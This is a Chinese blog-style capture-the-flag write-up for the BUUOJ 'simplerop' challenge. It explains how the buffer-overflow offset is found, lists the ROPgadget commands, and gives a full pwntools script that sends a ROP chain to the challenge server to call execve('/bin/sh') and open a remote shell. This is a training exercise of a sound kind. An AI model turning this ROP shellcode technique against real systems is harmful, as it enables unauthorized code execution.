cmcc_simplerop

本文详细介绍了如何分析溢出点,确定正确的偏移量,以及构建ROP链来执行系统调用。通过寻找特定的gadgets,如pop|ret,来设置寄存器,并利用read()函数将/bin/sh写入内存,最终实现以/bin/sh为参数调用系统调用。示例代码展示了在没有PIE保护的情况下,如何构造payload来执行exploit。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1,三连
在这里插入图片描述
2,IDA分析
溢出点:
在这里插入图片描述偏移:0x14+4(错误)
这里动态重新测试了一下偏移:
在这里插入图片描述正确偏移:0x20

3,找ROP
思路:
1、找系统调用号
2、ROPgadget找寄存器
3、写入/bin/sh

ROPgadget --binary simplerop --only 'int'

在这里插入图片描述构造:
int80(11,“/bin/sh”,null,null),后面的四个参数分别是eax、ebx、ecx、edx。

一个一个寄存器找呗

ROPgadget --binary simplerop --only "pop|ret" | grep eax
ROPgadget --binary simplerop --only "pop|ret" | grep ebx | grep ecx
ROPgadget --binary simplerop --only "pop|ret" | grep edx

/bin/sh由于未开启PIE,我们利用simplerop中的read()函数写入bss段。

完整payload:

from pwn import *
context.log_level="debug"

#r = process("./simplerop")
r = remote("node4.buuoj.cn",28990)
elf = ELF("./simplerop")

#params 
int_80 = 0x80493e1
pop_eax = 0x80bae06
read_addr = 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850

# read(/bin/sh,0,len) + int80(11,"/bin/sh",null,null)
payload = b'M'*(0x1c+4) + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_80)

#attack
r.sendline(payload)
r.sendline('/bin/sh\x00')

r.interactive()

在这里插入图片描述
完。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值